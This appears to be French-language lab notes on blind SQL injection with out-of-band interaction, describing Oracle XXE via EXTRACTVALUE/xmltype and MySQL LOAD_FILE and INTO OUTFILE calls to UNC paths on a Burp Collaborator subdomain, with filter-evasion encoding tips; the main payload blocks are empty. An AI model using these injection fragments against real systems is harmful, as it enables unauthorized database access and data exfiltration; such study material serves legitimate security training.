Injection SQL aveugle — interaction Out-Of-Band (OOB)

Blind SQL injection with out-of-band interaction

Contexte court : la valeur du cookie TrackingId (ou autre paramètre) est injectée dans une requête SQL exécutée de façon asynchrone. La réponse HTTP ne révèle rien, mais il est possible de provoquer une interaction externe (DNS/HTTP) vers un service de type Burp Collaborator / OAST, ce qui permet d’exfiltrer ou de confirmer l’exécution d’un payload.

Techniques et vecteurs

Oracle — XML External Entity (XXE) via EXTRACTVALUE / xmltype

  • Principe : construire un document XML contenant une entité externe pointant vers votre sous-domaine Collaborator. L’appel à EXTRACTVALUE(xmltype(...), '/l') évalue la DTD et provoque la requête HTTP/DNS sortante vers le domaine contrôlé :

  • Remarques : certains caractères doivent être encodés/échappés selon le contexte (quotes, % dans la DTD, etc.). Dans certains cas, il faut URL-encoder des parties du payload.

MySQL — fichiers réseau via LOAD_FILE / SELECT ... INTO OUTFILE

  • LOAD_FILE('\\BURP-COLLAB-SUBDOMAIN\a') peut provoquer une requête SMB/DNS sortante sur des environnements qui autorisent l’accès réseau au serveur de fichiers ou qui résolvent les chemins UNC.

  • SELECT ... INTO OUTFILE '\\BURP-COLLAB-SUBDOMAIN\a' écrit un fichier sur un partage réseau, provoquant souvent une interaction réseau observable côté Collaborator.

  • Remarque : ces techniques dépendent fortement de la configuration (privilèges du compte DB, options du serveur, accès réseau sortant).

Notes pratiques

  • Pour Burp Collaborator / OAST, utilisez le sous-domaine fourni (ex. abcd.oastify.com) dans l’URL/chemin de l’entité ou du chemin UNC.

  • Certains serveurs tronquent/filtrent les payloads : tester différentes variations d’encoding (URL-encode, échappement des %%25, variations de commentaire, etc.).

  • Quand la requête Collaborator arrive, vous avez preuve d’exécution OOB (DNS/HTTP/SMB), ce qui confirme la vulnérabilité.

Exemple — variante avec encodage (remarque : tu as déjà testé et reçu la requête)

  • Exemple encodé (tu l’as présenté) :

    → encodage de %%25 et ;%3b pour contourner certains filtres/parsings.

Mis à jour

Ce contenu vous a-t-il été utile ?